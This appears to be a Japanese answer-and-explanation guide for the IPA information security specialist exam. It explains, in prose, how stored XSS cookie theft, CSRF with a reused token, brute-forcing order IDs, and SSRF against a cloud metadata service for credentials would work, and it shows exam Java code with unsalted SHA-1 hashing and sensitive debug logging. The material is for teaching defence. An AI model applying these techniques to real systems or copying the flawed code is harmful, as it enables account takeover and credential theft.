図3は問合せ機能(項番5)に name パラメータでスクリプトを送ったものだが,そのレスポンスにはスクリプトが出てこない。入力した値は問合せ情報として保存され,後で別の画面に表示される。表1で問合せ情報を表示する機能は,項番9の問合せ管理機能(“問合せ機能で入力された問合せ情報が閲覧できる”)である。

したがって,Z 社が設計書を調べて確かめた“別の機能の画面”は項番9で,答えは 9 である。保存された値が後から別の画面で出力される,いわゆる格納型(持続型)の XSS に当たる。

間違えやすい点。図3のリクエスト先の問合せ機能(項番5)ではない。また,問合せ管理機能はサイト管理機能なので,その画面を見るのは D 社の管理者である(設問1(2)の前提になる)。

設問1(2)

本文中の下線②について,攻撃者はどのような手順で利用者情報を取得するか。具体的に答えよ。

解答例

  • 攻撃者がわなリンクを用意し,管理者にそのリンクを踏ませることで管理者権限のcookieを攻撃者のWebサイトに送信させ,その値を読み取って利用することで管理者としてサイトXにアクセスし,利用者情報を取得する。
解説

本文の根拠

〔サイト X〕

SESSIONID には,値と Secure 属性だけがセットされる。

表1 項番8

登録された会員の利用者情報を閲覧,変更,削除できる。

〔サイト X〕

サイト管理機能は,D 社の内部ネットワーク以外からも利用する可能性があり,サイト X では,接続元の制限は行わない。

XSS のスクリプトが実行されるのは問合せ管理機能の画面,つまり D 社の管理者の Web ブラウザである。SESSIONID には HttpOnly 属性が付いていない(値と Secure 属性だけ)ので,スクリプトから cookie を読み出せる。攻撃者は,管理者の cookie を攻撃者の Web サイトに送らせるわなを仕掛け,管理者がそれを閲覧・クリックしたときに管理者権限の SESSIONID を手に入れる。

攻撃者は手に入れた SESSIONID を自分のブラウザにセットし,管理者になりすましてサイト X にアクセスする。サイト管理機能は接続元の制限が無く,サーバ側のセッションは24時間有効なので,外部からでも使える。そして会員管理機能(項番8)で全会員の利用者情報を閲覧・取得する。

書き方の注意。講評のとおり,“XSS の実行者は管理者”と“利用者情報は会員管理機能で取れる”の二つを結び付けて,わなの用意 → 管理者の cookie の送信 → それを使った管理者としてのアクセス → 利用者情報の取得,の順に書く。

採点講評(IPA)

設問1(2)は,正答率が低かった。クロスサイトスクリプティング(XSS)の検出箇所から,問合せ管理機能でスクリプトを実行できるのは管理者であることが分かる。一方,サイトXの機能概要から,利用者情報を取得するには,会員管理機能を利用すればよいことが分かる。この二つをどう結びつけるかを考えて,解答してほしい。

設問2(1)

本文中の下線③について,被害を与える攻撃の手順を,具体的に答えよ。

解答例

  • 攻撃者が自らのアカウントで取得したcsrf_tokenと一緒に利用者情報をサイトXに送るように構成したわなフォームに,詐欺メールなどで利用者を誘導し,利用者情報を変更させる。
解説

本文の根拠

表2 手順3

sei=sato&mei=taro&mail=aaa%40example.jp&csrf_token=(異なる利用者アカウントで取得した csrf_token の値),応答 正常に処理。

〔CSRF について〕

手順1,2の応答が“エラー”であることから一定の CSRF 対策ができているが,手順3の応答が“正常に処理”であることから③利用者に被害を与える可能性があると判断した。

表1 項番4

登録した利用者情報を編集できる。

手順3から,csrf_token は空や欠落なら拒否されるものの,トークンとセッション(利用者)の対応は確かめられておらず,他の利用者アカウントで取得した値でも通ることが分かる。攻撃者は自分の会員アカウントでログインすれば,有効な csrf_token をいつでも手に入れられる。

攻撃者は,取得した自分の csrf_token と書き換えたい利用者情報(メールアドレスなど)を /shop/editmember に POST するように組んだわなのフォームを用意し,詐欺メールなどでログイン中の利用者をそこへ誘導する。利用者のブラウザは自分の SESSIONID 付きでリクエストを送るので,利用者情報が攻撃者の意図どおりに変更される。メールアドレスを変えられると,アカウントの乗っ取りにもつながる。

書き方の注意。講評のとおり,“攻撃者が自分のアカウントで取得した csrf_token を使う”点が抜けると,手順1,2の対策を突破できる理由が書けていないことになる。

採点講評(IPA)

設問2(1)は,正答率が低かった。クロスサイトリクエストフォージェリ(CSRF)の攻撃手法に関する問題であったが,攻撃者が取得したトークンを悪用する部分について解答できていない受験者が多かった。本文の状況に即して解答してほしい。

設問2(2) 解答欄4つ

表3中の a 〜 d に入れる適切な内容を,“○”又は“×”から選び答えよ。

〔a〕解答例

  • ×

〔b〕解答例

  • ×

〔c〕解答例

  • ○

〔d〕解答例

  • ×
解説

本文の根拠

〔CSRF について〕

SameSite 属性は,Strict,Lax,None の三つの値のうちのいずれかを取る。

表3 注記

“○”は cookie が送られることを示す。“×”は cookie が送られないことを示す。

SameSite 属性は,外部のサイトから遷移するリクエスト(クロスサイトのリクエスト)に cookie を付けるかを決める。Strict は,サイト内の遷移でしか cookie を送らず,外部サイトからの遷移では GET でも POST でも送らない。よって a,b は × である。

Lax は,外部サイトのリンクをたどるようなトップレベルの GET による遷移では cookie を送るが,外部サイトのフォームからの POST などでは送らない。よって c は ○,d は × である。None は制限をかけず,外部からの遷移でも送る(Secure 属性が必要)。

間違えやすい点。CSRF の典型であるわなフォームからの POST は,Strict でも Lax でも cookie が送られないので防げる。Lax で GET を許すのは,外部からのリンクでログイン状態のまま開けるようにするためで,GET で状態を変える処理を作っていなければ CSRF にはならない。

設問3(1) 30字以内

本文中の下線④について,どのような攻撃手法を用いれば攻撃が成功するか。30字以内で答えよ。

解答例

  • order-codeの下6桁を総当たりで試行する。
解説

本文の根拠

表1 項番3

注文履歴は,注文年月である数字6桁とランダムな英大文字6桁の値をハイフンでつないだ注文管理番号で管理される。

図5

order-code=202404-AHUJKI 1)

〔認可制御の不備について〕

利用者 α が,本来は閲覧できないはずの利用者 β の注文履歴を閲覧できるという攻撃が成功することを確認した。

order-code(注文管理番号)は“注文年月の数字6桁”と“ランダムな英大文字6桁”からなる。上6桁の注文年月は推測できる(例 202404)ので,未知なのは下6桁だけである。

サーバは order-code が送ってきた利用者のものかを確かめない((2)(3)で他人の値が通った)ので,攻撃者は下6桁の英大文字を総当たりで変えながらリクエストを送り続ければ,いずれ他人の注文管理番号に当たり,その注文履歴を閲覧できる。英大文字6桁は 266(約3億)通りあるが,サイト X では毎月約 10,000 件の取引が見込まれており,当たりは月ごとに多数ある。

字数は30字以内(解答例は25字)。“order-code の下6桁”“総当たり”を入れる。上6桁は推測できることを踏まえ,どこを総当たりするかを具体的に書く。

設問3(2) 60字以内

本文中の下線⑤について,サイト X の Web アプリに追加すべき処理を,60字以内で具体的に答えよ。

解答例

  • cookieの値で利用者アカウントを特定し,order-codeの値から特定したものと違っていれば,エラーにする。
解説

本文の根拠

図5 注1)

表1の注文管理番号のことである。値から利用者を特定することができる。

〔サイト X〕

サイト X のログインセッション管理は,cookie パラメータの SESSIONID で行う。

〔認可制御の不備について〕

図5のリクエストのパラメータ order-code の値を図6中の値に改変してリクエストを送った。

認可制御の不備は,リクエストを送ってきた利用者と,order-code の注文の持ち主が同じかを確かめていないことにある。ログイン中の利用者は cookie の SESSIONID で特定でき,order-code の値からも利用者を特定できる(図5注1))。

そこで Web アプリに,cookie(SESSIONID)の値で利用者アカウントを特定し,order-code の値から特定した利用者と違っていればエラーにする処理を追加する。これで設問3(1)の総当たりで他人の番号に当たっても,閲覧はできなくなる。

字数は60字以内(解答例は57字)。“cookie の値で利用者を特定”“order-code から特定した利用者と比較”“違えばエラー”の三つを入れる。order-code を推測しにくくするだけでは,認可の不備は残る。

設問4(1) 35字以内

本文中の下線⑥について,ログインができないのはなぜか。SSRF 攻撃の特徴を基に,35字以内で答えよ。

解答例

  • 変更後のURLにPOSTデータは送ることができないから
解説

本文の根拠

図2 [CMS について]

ログインは,POST メソッドでは許可されるが,GET メソッドでは許可されない。

図7

GET /top?page=https://△△△.jp/topic/202404.html HTTP/1.1

図2 [CMS について]

各 CMS の管理ログイン画面へのアクセスは,VPN 接続された D 社管理者 PC,又は VPC 内からのアクセスだけに制限される。

SSRF では,Web サーバ Y が page パラメータで指定された URL に代わりにアクセスする。Web サーバ Y は VPC 内にあるので,外部から直接は見られない CMS の管理ログイン画面にも届く。ただし,このとき Web サーバ Y が送るのは page の URL への単純な GET リクエストである。

CMS のログインは POST では許可されるが GET では許可されない。図7の方法では,攻撃者は Web サーバ Y から送られるリクエストに POST データ(利用者 ID やパスワード)を載せられないので,画面は見られてもログインはできない。

字数は35字以内(解答例は27字)。“変更後の URL に POST データを送れない”ことを,SSRF でサーバが送るリクエストの特徴として書く。初期パスワードのままであることは,ログインできない理由ではない。

設問4(2)

本文中の下線⑦について,クレデンシャル情報を取得する方法を,具体的に答えよ。

解答例

  • パラメータpageの値をIMDSのクレデンシャル情報を返すURLに変更する。
解説

本文の根拠

図2 [IMDS について]

https://○○○.○○○.○○○.○○○/meta-data/credential に GET メソッドでアクセスされると,クラウド W 上のサービスのクレデンシャル情報を返す。

図2 [IMDS について]

方式1:特定の URL にアクセスするだけで情報を取得できる。

図2 [IMDS について]

IMDS には,インターネットから直接アクセスできないプライベート IP アドレス(○○○.○○○.○○○.○○○)が設定されている。

IMDS はインターネットから直接アクセスできないが,VPC の各サーバからはアクセスでき,方式1では特定の URL に GET でアクセスするだけでクレデンシャル情報が返る。

そこで攻撃者は,図7のパラメータ page の値を IMDS のクレデンシャル情報を返す URL(https://○○○.○○○.○○○.○○○/meta-data/credential)に変える。Web サーバ Y がその URL に GET でアクセスし,返ってきたクレデンシャル情報が攻撃者への応答に含まれる。D 社用のクレデンシャル情報では全ての操作ができるので,ストレージ W から情報を盗み出せる。

書き方の注意。“どのパラメータを”“どの URL に”変えるかを具体的に書く。図7のリクエストがパラメータを GET で送る形であり,方式1が GET だけで取得できることが,方法 F が成り立つ理由である。

設問4(3)

本文中の下線⑧について,方法 G を用いてクレデンシャル情報を取得する方法を,具体的に答えよ。

解答例

  • トークンを発行するURLにPUTメソッドでアクセスしてトークンを入手し,そのトークンをリクエストヘッダに含めて,IMDSのクレデンシャル情報を返すURLにアクセスする。
解説

本文の根拠

図2 [IMDS について]

方式2:トークンを発行する URL に PUT メソッドでアクセスし,レスポンスボディに含まれるトークンを入手してから,そのトークンをリクエストヘッダに含めて特定の URL にアクセスすると情報を取得できる。

〔SSRF について〕

図7のリクエストのパラメータの値を変更することで,Web サーバ Y から送られるリクエストに任意のメソッドの指定及び任意のヘッダの追加ができる方法(以下,方法 G という)がある。

方式2では,まずトークンを発行する URL に PUT でアクセスしてトークンを入手し,次にそのトークンをリクエストヘッダに入れて特定の URL にアクセスしなければ情報が返らない。方法 F(GET の URL を変えるだけ)では PUT もヘッダの追加もできないので,取得できない。

方法 G はメソッドの指定とヘッダの追加ができるので,方式2の手順をそのまま踏める。一つ目のリクエストでトークン発行用の URL に PUT でアクセスしてトークンを入手し,二つ目のリクエストでそのトークンをリクエストヘッダに含めて IMDS のクレデンシャル情報を返す URL にアクセスする。

書き方の注意。講評のとおり方式の違いに即して書く。“PUT でトークンを入手”と“トークンをヘッダに含めてクレデンシャル情報の URL にアクセス”の2段階を両方書く。

採点講評(IPA)

設問4(3)は,正答率がやや低かった。クレデンシャル情報を取得する方式について解答できていない受験者が多かった。方式が二つあり,その違いに即して解答してほしい。

設問4(4) 35字以内

本文中の下線⑨について,サイト Y の Web アプリに追加すべき処理を,35字以内で具体的に答えよ。

解答例

  • パラメータpageの値がサイトP以外のURLならエラーにする。
解説

本文の根拠

〔新たな Web サイトの構築〕

サイト Y は,サイト P で取り扱っている情報などを表示する。

図7 注記

△△△.jp はサイト P の FQDN である。

SSRF が起きるのは,page パラメータで任意の URL を指定でき,Web サーバ Y がそのままアクセスしてしまうからである。サイト Y が page で取りに行く必要があるのは,サイト P の情報だけである。

そこで Web アプリに,page の値がサイト P(△△△.jp)以外の URL ならエラーにする処理を追加する(許可する宛先を限る,いわゆる許可リスト方式)。これで IMDS や CMS の管理画面の URL を指定されても,Web サーバ Y はアクセスしない。クラウド W 上のネットワークでのアクセス制御と合わせて多層で防ぐ。

字数は35字以内(解答例は31字)。“page の値”“サイト P 以外”“エラーにする”を入れる。IMDS の URL だけを禁止する拒否リスト方式は,別の内部 URL を指定されると漏れが出るので,許す宛先を限る書き方にする。

出典:令和6年度 春期 情報処理安全確保支援士試験 午後 問3(表記を一部改変)

問4 Web アプリケーションプログラム

Web アプリケーションプログラムに関する次の記述を読んで,設問に答えよ。

A 社は,加工食品の製造・販売を行う従業員 500 名の会社である。問屋や直販店からの注文の受付に,商品の注文と在庫を管理するシステム(以下,業務システムという)を利用している。業務システムは,A 社内に設置したサーバ上に構築されている。

このたび,販売拡大を目指して,インターネットを使ったギフト販売を行うことになり,個人顧客から注文を受けるための Web システム(以下,Web 受注システムという)を構築することになった。

A 社は IT ベンダーの B 社との間で開発の委託契約を締結し,両社は Web 受注システムの開発に着手した。

〔Web 受注システムの要件〕

Web 受注システムの要件を表1に示す。

No.,要件名,要件内容の3列の表。No.1 機能:個人顧客が利用できる機能:商品検索,在庫照会,注文,決済,注文変更,注文キャンセル,注文照会,配送照会,ユーザー登録,ユーザー情報変更,パスワード変更,退会である。これら機能全てをアプリケーション(以下,AP という)サーバに実装する。その他の機能:(省略)。No.2 アクセス方式:Web ブラウザからインターネット経由でアクセスして利用する。No.3 想定ユーザー:個人顧客。No.4 想定ユーザー数:登録ユーザーの数が100,000までを想定。No.5 重要情報 1) に該当するデータ項目:氏名,住所,電話番号,メールアドレス,パスワード,銀行口座情報,決済情報。No.6 商品数:1,000。No.7 想定トランザクション数:注文:1,000件/日,注文変更・注文キャンセル:各30件/日,注文照会・配送照会:各2,000件/日。No.8 稼働時間:24時間365日。ただし,メンテナンス時間は除く。No.9 メンテナンス時間:毎週月曜日 0:00〜5:00。ただし,緊急の脆弱性修正プログラム適用など,他の日時に臨時でメンテナンスを実施する場合もある。No.10 稼働率目標:99.9%。ただし,メンテナンス時間は除く。No.11 開発体制:A 社と B 社が協働で開発する。No.12 開発言語/DBMS:Java/RDBMS。(注は続きのページにある)
表1 Web 受注システムの要件
No.,要件名,要件内容の3列の表(続き)。No.13 システム基盤:AP サーバ,バッチサーバ,ログサーバは,IaaS 上に構築する。Web 受注システムのデータベース(以下,データベースを DB という)は,クラウドサービスのマネージド DB を利用する。本番環境は,本番 AP サーバ,本番バッチサーバ,本番ログサーバ,本番 DB で構成する。開発環境は,開発 AP サーバ,開発バッチサーバ,開発ログサーバ,開発 DB で構成する。重要情報は保管されない。No.14 サーバ OS:AP サーバ,バッチサーバ,ログサーバの OS は Linux を使用する。No.15 AP ログ 2):AP サーバのプログラム及びバッチサーバのプログラムは AP ログをログサーバに転送し,ログサーバは AP ログをテキストファイル形式で保存する。No.16 AP サーバの標準出力と標準エラー出力:AP サーバの標準出力と標準エラー出力は,リダイレクトして AP サーバの /var/log/serverlog ディレクトリ配下のテキストファイルに出力する。なお,/var/log/serverlog ディレクトリのオーナーは webappuser であり,パーミッションは775 3) とする。その配下のテキストファイルのオーナーは webappuser であり,パーミッションは664 3) とする。(画像では“774”と印刷されているが,正誤表により“775”に訂正された)No.17 システム運用:システム運用は B 社に委託し,システム運用担当者は B 社の要員とする。重要情報の取扱いは重要情報取扱運用者だけとし,重要情報取扱運用者は A 社での役職が管理職以上の要員とする。各サーバ及び各 DB の管理はシステム管理責任者が行い,システム管理責任者は A 社の情報システム部の管理職とする。No.18 システムのユーザーと役割:(1) 個人顧客:Web 受注システムの AP サーバで注文,決済などを行う。(2) システム運用担当者:本番 AP サーバ及び本番バッチサーバの稼働を監視する。バッチ処理が異常終了したときは,手動で再実行する。これら以外のサーバについては,統合監視システムの画面から死活監視だけを行う。重要情報にアクセスしてはならない。(3) 重要情報取扱運用者:本番環境に保管されている重要情報を参照し,個人顧客からの問合せに対応する。(4) システム開発者:開発環境においてプログラムの開発・保守を行う。障害発生時は,本番ログサーバにアクセスして障害原因を調査する。重要情報にアクセスしてはならない。(5) システム管理責任者:各サーバの OS,ミドルウェアの脆弱性修正プログラムの適用などのメンテナンス作業を行う。各サーバの OS アカウントを管理する。各 DB のアカウント管理を行う。No.19 パスワードの保存:パスワードは,CRYPTREC 暗号リスト(令和5年3月30日版)の電子政府推奨暗号リストに記載されているハッシュ関数でハッシュ化して DB に保存する。注 1) A 社では,扱う情報を“重要情報”と“その他の情報”に分類している。注 2) システム稼働時に出力され,システム障害の際に,システム開発者が障害原因調査のために確認するファイルである。注 3) chmod コマンドの絶対モードで Linux のパーミッションを設定する。
表1 Web 受注システムの要件(続き)

〔Web 受注システムの設計〕

A 社と B 社は Web 受注システムを設計した。

Web 受注システムのサーバで定義される OS アカウントの一覧を表2に,所属グループとその権限を表3に示す。

No.,ユーザーID,所属グループ,OS アカウントが定義されるサーバ,説明の5列の表。No.1:root,所属グループ root,サーバ(省略),システム管理責任者が利用する。No.2:operator,所属グループ operation,サーバ(省略),システム運用担当者が利用する。No.3:personal,所属グループ personal,サーバ(省略),重要情報取扱運用者が利用する。No.4:developer,所属グループ develop,サーバ(省略),システム開発者が利用する。No.5:batchappuser,所属グループ operation,サーバ 本番バッチサーバ,データ連携機能 1) の各プログラムの実行に利用される。No.6:webappuser,所属グループ personal,サーバ 本番 AP サーバ,AP サーバのプログラムの実行に利用される。注記 root,operation,personal,develop という所属グループは各サーバに定義されている。注 1) 業務システムと Web 受注システムがデータ連携を行うための機能である。
表2 OS アカウントの一覧
No.,所属グループ,権限の3列の表。No.1:root,特権ユーザーである。全てのアクセス権がある。No.2:operation,一般ユーザー権限である。本番 AP サーバと本番バッチサーバへのアクセス権がある。No.3:personal,一般ユーザー権限である。本番環境へのアクセス権がある。No.4:develop,一般ユーザー権限である。開発環境と本番ログサーバへのアクセス権がある。注記 Web 受注システムでは,OS アカウントの権限を所属グループ単位で管理する。
表3 所属グループとその権限

業務システムと Web 受注システムは,CSV 形式のデータ連携用ファイル(以下,CSV ファイルという)でデータ連携を行う。1 時間ごとに業務システムのバッチサーバと Web 受注システムのバッチサーバにおいて CSV ファイルを作成し,HTTPS で他方のバッチサーバに送信し,他方のバッチサーバでは受信した CSV ファイルを保存する。保存した CSV ファイルを使用して Web 受注システム又は業務システムの DB に対して更新処理を実行する。更新処理後の CSV ファイルは,障害発生に備えて 1 週間保存する。

データ連携機能のプログラム一覧を表4に示す。

No.,プログラム名,実行するサーバ,概要の4列の表。No.1:バッチ処理管理1,Web 受注システムのバッチサーバ,Web 受注システムの各バッチ処理のプログラムの起動,監視などを行う。No.2:バッチ処理管理2,業務システムのバッチサーバ,業務システムの各バッチ処理のプログラムの起動,監視などを行う。No.3:注文データ CSV 出力バッチ処理,Web 受注システムのバッチサーバ,Web 受注システムの DB 内の注文テーブルから注文データを取得し,CSV ファイルに出力する。No.4:注文データ CSV 取込みバッチ処理,業務システムのバッチサーバ,保存された CSV ファイルを読み込んで,業務システムの DB を更新する。No.5:在庫データ CSV 出力バッチ処理,業務システムのバッチサーバ,業務システムの DB 内の在庫テーブルから在庫データを取得し,CSV ファイルに出力する。No.6:在庫データ CSV 取込みバッチ処理,Web 受注システムのバッチサーバ,保存された CSV ファイルを読み込んで,Web 受注システムの DB を更新する。No.7:データ送信1バッチ処理,Web 受注システムのバッチサーバ,CSV ファイルを業務システムのバッチサーバに HTTPS で送信する。No.8:データ送信2バッチ処理,業務システムのバッチサーバ,CSV ファイルを Web 受注システムのバッチサーバに HTTPS で送信する。No.9:データ受信1バッチ処理,Web 受注システムのバッチサーバ,受信した CSV ファイルを Web 受注システムのバッチサーバの指定されたディレクトリに保存する。No.10:データ受信2バッチ処理,業務システムのバッチサーバ,受信した CSV ファイルを業務システムのバッチサーバの指定されたディレクトリに保存する。
表4 データ連携機能のプログラム一覧

表4のうち,No.3 のプログラムの内容を図1に示す。

枠で囲んだ説明。・注文テーブルの連携済フラグ 1) が0である注文データを,CSV ファイルとして平文で/var/data ディレクトリに出力する。なお,/var/data ディレクトリのオーナーは batchappuser で,パーミッションは770 2) とする。CSV ファイルのオーナーは batchappuser で,パーミッションは660 2) とする。・注文テーブルの内容は,次のとおりである。注文 ID 3),注文番号,注文ユーザーID,注文日時,決済金額,銀行コード,銀行支店コード,預金種別,銀行口座番号,銀行口座氏名,注文ステータス,お届け先郵便番号,お届け先住所,お届け先電話番号,お届け先氏名,送り主郵便番号,送り主住所,送り主電話番号,送り主氏名,連携済フラグ。注 1) “0”は CSV ファイル出力前であることを,“1”は CSV ファイル出力後であることを示す。注 2) chmod コマンドの絶対モードで Linux のパーミッションを設定する。注 3) 主キーである。
図1 No.3 のプログラムの内容(抜粋)

Web 受注システムの開発が進み,結合テスト前に,A 社は,設計書とソースコードのセキュリティレビューを,セキュリティ専門会社の C 社に委託した。C 社の情報処理安全確保支援士(登録セキスペ)の E 氏は,セキュリティレビューを実施した。

〔データ連携機能のセキュリティレビュー〕

E 氏は,表2〜4 及び図1の内容では表1の要件を満たしておらず,a が CSV ファイルを閲覧できてしまうという問題を発見した。また,CSV ファイルには重要情報が記録されるので,本番バッチサーバにアクセスできる者が不正に閲覧するリスクを軽減するための保険的対策も併せて実施することを提案した。具体的には,次のように提案した。

A 社は,E 氏の提案どおり修正することにした。

〔ユーザー登録機能のセキュリティレビュー〕

ユーザー登録機能は,UserData クラスによって実現している。UserData クラスのプログラム仕様を図2に,UserData クラスのソースコードを図3に示す。

枠で囲んだ仕様。・addUser メソッドは,データをユーザーマスターテーブルに挿入する。・各インスタンス変数は,ユーザーマスターテーブルの各レコードに対応し,画面から入力された値を String 型で保持する。・ユーザーマスターテーブルの列名は,次のとおりである。ユーザーOID 1),ユーザーID,パスワード 2),氏名,郵便番号,住所,電話番号,メールアドレス,作成日時,更新日時。注 1) 主キーである。オブジェクト ID であり,データを一意に識別する文字列が格納される。注 2) パスワードのハッシュ値が格納される。
図2 UserData クラスのプログラム仕様(抜粋)
Java のソースコード(行番号付き)。
(省略)//package 宣言,import 宣言など
1: public UserData(HttpServletRequest request) {
2:   this.userId = request.getParameter("userId");
3:   this.password = request.getParameter("password");
    (省略)//入力値チェックなど
4:   try {
5:     MessageDigest mdObj = MessageDigest.getInstance("SHA-1");
6:     byte[] hashByte = mdObj.digest(this.password.getBytes());
7:     this.password = String.format("%x", new BigInteger(1, hashByte));
8:   } catch (NoSuchAlgorithmException e) {
9:     log.debug("error:" + e);
10:   }
    (省略)
11: }
  //引数 conn は DB コネクションオブジェクトを示す。
12: public void addUser(Connection conn) {
13:   PreparedStatement psObj;
14:   String sql = "INSERT INTO USER_MASTER" +
15:                "(USER_OID, USER_ID, PASSWORD, USER_NAME, ZIP_CODE" +
               (省略);
16:   try {
17:     psObj = conn.prepareStatement(sql);
18:     psObj.setString(1, this.userOid);
19:     psObj.setString(2, this.userId);
20:     psObj.setString(3, this.password);
      (省略)
      //次の2行はデバッグログの出力
21:     System.out.println("SQL:" + sql);
22:     System.out.println("InsertData:" + this.toString());
      //次の2行はログサーバへの AP ログの出力
23:     log.debug("SQL:" + sql);
24:     log.debug("InsertData:" + this.toString());
25:     psObj.execute();
26:     conn.commit();
27:   } catch (SQLException e) {
      (省略)//例外処理
28:   }
    (省略)
29: }
(省略)
注記 log.debug()は,引数の文字列をログサーバに送信するメソッドである。
図3 UserData クラスのソースコード(抜粋)

E 氏は,図3のソースコードについて,次のように指摘した。

E 氏の指摘を受け,システム開発者は,UserData クラスのソースコードを修正した。修正後の UserData クラスのソースコードを図4に示す。

Java のソースコード(行番号付き)。
(省略)//package 宣言,import 宣言など
1: public UserData(HttpServletRequest request) {
2:   this.userId = request.getParameter("userId");
3:   this.password = request.getParameter("password");
    (省略)//入力値チェックなど
4:   try {
5:     MessageDigest mdObj = MessageDigest.getInstance("[ f ]");
6:     byte[] hashByte = mdObj.digest(this.password.getBytes());
7:     this.password = String.format("%x", new BigInteger(1, hashByte));
8:   } catch (NoSuchAlgorithmException e) {
9:     log.debug("error:" + e);
      //回復不能な例外発生
10:     [ g ];
11:   }
    (省略)
12: }
  //引数 conn は DB コネクションオブジェクトを示す。
13: public void addUser(Connection conn) {
14:   PreparedStatement psObj = null;
15:   String sql = "INSERT INTO USER_MASTER" +
16:                "(USER_OID, USER_ID, PASSWORD, USER_NAME, ZIP_CODE" +
               (省略);
図4 修正後の UserData クラスのソースコード(抜粋)
Java のソースコード(行番号付き,続き)。
17:   try {
18:     psObj = conn.prepareStatement(sql);
19:     psObj.setString(1, this.userOid);
20:     psObj.setString(2, this.userId);
21:     psObj.setString(3, this.password);
      (省略)
22:     UserData userMaskDataObj = this.maskUserData(this);
      //次の2行はログサーバへの AP ログの出力
23:     log.debug("SQL:" + sql);
24:     log.debug("InsertData:" + userMaskDataObj.toString());
25:     psObj.execute();
26:     conn.commit();
27:   } catch (SQLException e) {
      (省略)//例外処理
28:   } [ h ] {
29:     if (psObj != null) {
30:         try {
31:           psObj.close();
32:         } catch (SQLException e) {
            (省略)//例外処理
33:         }
34:     }
35:   }
    (省略)
36: }
37: private UserData maskUserData(UserData inUserData) {
    (省略)//UserData 内の重要情報を含む変数の値を * に置換する。
38:   return userMaskDataObj;
39: }
(省略)
図4 修正後の UserData クラスのソースコード(抜粋)(続き)

図4のソースコードについて,E 氏は,セキュリティレビューを再度実施した。

E 氏は,図4のソースコードでは,レインボーテーブル攻撃を受けたときに攻撃が成立してしまうので,図2の仕様及び②図4のソースコードの6,7行目を修正すべきであると指摘した。

A 社は,E 氏の指摘の対応を完了した。その後,テストを実施し,Web 受注システムをリリースした。

設問2(7)の中に示されている解答群(表の形)。
ア:
byte[] hashByte = mdObj.digest((salt + this.password).getBytes());
this.password = salt + String.format("%x", new BigInteger(1, hashByte));
イ:
byte[] hashByte = mdObj.digest((salt + this.password).getBytes());
this.password = String.format("%x", new BigInteger(1, hashByte));
ウ:
byte[] hashByte = mdObj.digest(this.password.getBytes());
byte[] saltByte = mdObj.digest(salt.getBytes());
this.password = String.format("%x", new BigInteger(1, hashByte)) + String.format("%x", new BigInteger(1, saltByte));
エ:
byte[] hashByte = mdObj.digest(this.password.getBytes());
this.password = salt + String.format("%x", new BigInteger(1, hashByte));
オ:
byte[] hashByte = mdObj.digest(this.password.getBytes());
this.password = String.format("%x", new BigInteger(1, hashByte));
byte[] saltHashByte = mdObj.digest((salt + this.password).getBytes());
this.password = String.format("%x", new BigInteger(1, saltHashByte));

出題趣旨(IPA)

JavaとRDBMSで実装されたWebアプリケーションプログラムの開発において,有識者によるセキュリティレビューを実施することによって,セキュリティの不備が発見される場合がある。本問では,JavaとRDBMSで実装されたWebアプリケーションプログラムを題材として,セキュアプログラミングに関する能力を問う。

採点講評(問全体・IPA)

問4では,Webアプリケーションの脆弱性対策を題材に,Linuxの権限設定及びセキュアコーディングについて出題した。全体として正答率は平均的であった。

設問と解答例

設問1(1) 解答欄1つ

本文中の a に入れる適切な字句を,解答群の中から選び,記号で答えよ。解答群:ア(システム運用担当者),イ(システム運用担当者とシステム開発者),ウ(システム開発者),エ(システム開発者と重要情報取扱運用者),オ(重要情報取扱運用者)

〔a〕解答例

  • ア
解説

本文の根拠

図1

なお,/var/data ディレクトリのオーナーは batchappuser で,パーミッションは770 2) とする。CSV ファイルのオーナーは batchappuser で,パーミッションは660 2) とする。

表2 No.5

No.5:batchappuser,所属グループ operation,サーバ 本番バッチサーバ

表2 No.2

No.2:operator,所属グループ operation,サーバ(省略),システム運用担当者が利用する。

表1 No.18

(2) システム運用担当者:本番 AP サーバ及び本番バッチサーバの稼働を監視する。

CSV ファイル(パーミッション 660)と /var/data(770)は,オーナーの batchappuser と,その所属グループに読み書きを許す。batchappuser の所属グループは operation で,operation には本番バッチサーバへのアクセス権がある(表3)。operation に属する OS アカウントは,システム運用担当者が使う operator である。

CSV ファイルには注文テーブルの銀行口座番号,お届け先の住所・氏名など重要情報が入るが,表1 No.18 ではシステム運用担当者は“重要情報にアクセスしてはならない”。つまりグループのアクセス権を通じて,システム運用担当者が CSV ファイルを閲覧できてしまう。a はアである。

間違えやすい点。システム開発者の develop グループは,開発環境と本番ログサーバにしかアクセス権がなく,本番バッチサーバの CSV ファイルには届かない。重要情報取扱運用者は閲覧が許されている側なので“問題”に当たらない。

設問1(2) 解答欄1つ

本文中の b に入れる適切な所属グループを,表3中から選び答えよ。

〔b〕解答例

  • personal
解説

本文の根拠

表3 No.3

No.3:personal,一般ユーザー権限である。本番環境へのアクセス権がある。

表2 No.3

No.3:personal,所属グループ personal,サーバ(省略),重要情報取扱運用者が利用する。

表1 No.17

重要情報の取扱いは重要情報取扱運用者だけとし,重要情報取扱運用者は A 社での役職が管理職以上の要員とする。

batchappuser の所属グループを,重要情報を扱ってよい者だけが属するグループに変えれば,グループ権限で CSV ファイルを読めるのはそのグループの者に限られる。表2で personal グループに属するのは重要情報取扱運用者(personal)と,AP サーバのプログラム用の webappuser である。

personal グループは本番環境へのアクセス権をもつので,本番バッチサーバでのデータ連携のプログラムの実行にも支障が無い。したがって b は personal である。

間違えやすい点。root は特権ユーザーのグループであり,一般のプログラムの実行アカウントを入れるのは最小権限に反する。develop は本番バッチサーバへのアクセス権が無いので,プログラムが動かなくなる。

設問1(3) 解答欄1つ

本文中の c に入れる適切なプログラムを,表4中から選び,No. 列の番号で答えよ。

〔c〕解答例

  • 4
解説

本文の根拠

表4 No.4

No.4:注文データ CSV 取込みバッチ処理,業務システムのバッチサーバ,保存された CSV ファイルを読み込んで,業務システムの DB を更新する。

〔データ連携機能のセキュリティレビュー〕

保険的対策としては,表4の No.3 のプログラムに暗号化を行う処理を追加し,表4の No.c のプログラムに復号を行う処理を追加する。

表4 No.10

No.10:データ受信2バッチ処理,業務システムのバッチサーバ,受信した CSV ファイルを業務システムのバッチサーバの指定されたディレクトリに保存する。

No.3 が出力した注文データの CSV ファイルは,No.7 で業務システムに送られ,No.10 で保存され,No.4 で読み込まれて業務システムの DB の更新に使われる。中身を平文として使うのは No.4 だけである。

暗号化は No.3 の出力時に行い,復号は中身を使う No.4 で行えば,送信・保存(No.7,No.10)の間も,更新処理後に1週間保存する間も CSV ファイルは暗号化されたままになる。本番バッチサーバにアクセスできる者が閲覧しても中身は読めない。c は 4 である。

